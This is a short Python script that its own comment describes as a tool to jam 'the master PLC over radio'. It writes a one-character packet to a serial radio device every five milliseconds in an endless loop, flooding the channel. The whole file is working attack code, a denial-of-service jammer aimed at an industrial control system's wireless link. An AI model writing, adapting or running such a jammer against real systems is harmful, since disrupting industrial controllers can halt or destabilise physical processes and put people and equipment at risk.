#a script to jam the master PLC over radio

import time
import serial


ser = serial.Serial('/dev/ttyUSB1')
count = 0
while(1):   
	packet = 't'
	ser.write(packet)
	length = len(packet)
	print "packet# " + str(count)
	count+=1
	time.sleep(0.005)
	if(count > 1000000000000):
		count = 0

